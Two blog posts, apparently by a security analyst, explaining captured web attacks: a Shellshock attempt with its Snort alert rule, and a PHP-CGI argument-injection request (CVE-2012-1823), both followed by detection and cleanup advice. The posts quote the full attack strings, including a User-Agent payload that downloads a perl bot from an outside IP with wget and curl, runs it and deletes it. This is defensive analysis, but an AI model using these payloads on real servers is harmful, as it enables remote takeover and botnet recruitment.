Shellshock Attempt Explained

I posted the basic details here pastebin.com/uGux9X83 for this attack.

But in this post I'd like to go a bit deeper and attempt to explain what's going on.

First this evil IP ( 85.214.149.179 - in Germany) sent an attack to a web server. Now it's difficult to say without doing further research whether this source IP is truly malicious, or if it's just some good guy's box that was compromised and now the attacker is launching attacks from it.

In front of the web server was an IDS (Intrusion Detection System) that runs Snort rules. The attack triggered the following alert because it contained the text '() {' in the http header (in this case in the User Agent header).

Bash CGI environment variable injection attempt (1:31978)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"OS-OTHER Bash CGI environment variable injection attempt"; flow:to_server,established; content:"() {"; fast_pattern:only; http_header; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-6277; reference:cve,2014-6278; reference:cve,2014-7169; classtype:attempted-admin; sid:31978; rev:4; )

The attack made a request to the following cgi page because it's well known that web servers running the cgi module with a bash prompt that is unpatched could be vulnerable to Shellshock.
GET /cgi-bin/test.cgi

In the User Agent HTTP Header there are linux commands that I'll explain below. But the Shellshock vulnerability sucks because the cgi module uses the bash shell which is stupid and not properly validating it's input and ends up blindly running any linux commands after the '() { ;;};' text under the same account the website is running under which can lead as you'll see below to very bad things.

User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*");'

So finally to the good stuff.

1. First the attacker prints out the text 'SUCCESS!' to the browser. He does this so his automated bot that is scanning for vulnerable systems can flag this web server as vulnerable.
   /usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";
2. Second the attacker runs wget to download his malicious perlbot script from yet another server and saves it to the /tmp folder as 'b.pl'. The attacker saves it here because it's likely a location that the web server account has access to. Again it's tought to tell if 202.191.121.230 is a bad guy's server or just a good guy's server that an attacker compromised. But needless to say, this is the IP you want to look for in your IDS or SIEM or Web Server logs. Crawl through them and if you see any successful callbacks to this IP then you have a problem because that code was executed!
   system("wget http://202.191.121.230/ou.pl -O /tmp/b.pl");
3. Third the attacker makes a 2nd attempt using curl to download his malicious perlbot script ... just in case the 1st one (wget) failed. This increases the attack's success rate because sometimes wget or curl might be allowed and available and sometimes not.
   curl -O /tmp/b.pl http://202.191.121.230/ou.pl;
4. Fourth the attacker executes the malicious perlbot script. The attacker does this to plant a backdoor and fully take control of this web server. It's likely that the perlbot script will start running some IRC channel or listening device that will occasionally check-in or listen for commands to run from the command and control server and likely use your web server to launch attacks against other victims.
   perl /tmp/b.pl;
5. Fifth and finally the attacker cleans up his mess by deleting files that match the pattern 'b.pl*'. The attacker does this to make it harder for you to know you're a victim. You won't see any remnants of files, temp files, or anything related to the attack. You'd only know you were compromised by watching the traffic in/out of the server or looking at currently executing processes.
   rm -rf /tmp/b.pl*;

Patch your servers!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

PHP Injection Attempt Explained

Today I'll make an attempt to explain what I know about a PHP injection attempt.

The first thing you may see is something in your IIS or Web logs that is HTML encoded in a url

hxxp://www.mysite.com//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E

If you dump that into an html decoder ( http://meyerweb.com/eric/tools/dencoder/ ) you'll see what it really is

cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n

So you now see that the real url is was trying to get at is

hxxp://www.mysite.com//cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n

Which after a google search appears to be related to CVE-2012-1823 ( http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1823 ), which says that when PHP is configured as a CGI script, then it cannot handle query strings that lack an = (equals sign) ... which sounds insanely simple ... but that apparently allows remote attackers to execute arbitrary code by placing command-line options in the query string ... many of which are typically related to skipping certain php_getopt for the 'd' case.

What you'll also see inside the body of post data is some php code such as this code I posted which does multiple things ...

1.) move to the tmp folder
2.) makes a request to a php file which perhaps logs the ip address of the victim and sets it up for the botnet?
3.) downloads a txt file (which is actually perl code) which is the payload of the attack
4.) runs the perl file just downloaded
5.) deletes the perl file just executed
6.) deletes all temporary files the perl file just created
7.) deletes everything else in the tmp folder


Inside the perl file/code downloaded you might see something like this code I posted.

It appears to contain many interesting things such as ...

1.) lots of variables declared (that start with the 'my' keyword) including an ip for the command and control server
2.) lots of functions declared (that start with the 'sub' keyword) that aren't actually getting executed now, but maybe later!
3.) code inbetween there that executes immediately and indefinitely is inside the while(1) infinite loop such as connecting to the IRC servers and listening for incoming messages. It is likely that it will use some of those functions declared with the 'sub' keyword based on which incoming messages it receives.
4.) some of those functions to be used later include things like [Port Scan an IP, NMap Scan an IP, UDP DDoS and IP, Download a file from somewhere, Open a Shell, etc.


What to do if you see this?

Check your firewall, IDS/IPS, or whatever other logs and look for outbound connections to [Any urls/IPs in the PHP wget statements, Any IPs in the Perl code]. If no, then hopefully the attacks failed. If yes, think worst case and consider resetting passwords and rebuilding the server from scratch because with that kind of access to your server you don't know what else they might've done and what other backdoors they may have created. If they really got in, also look at logs for any attempts to move further into your network and hop from this server to another one. Also don't forget to check your servers to make sure the vulnerability attempted is fixed on all servers (not just the one attacked), because you may patch this one and they just perform the same thing on the next server.

Hope this helps a bit! Good luck!

Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.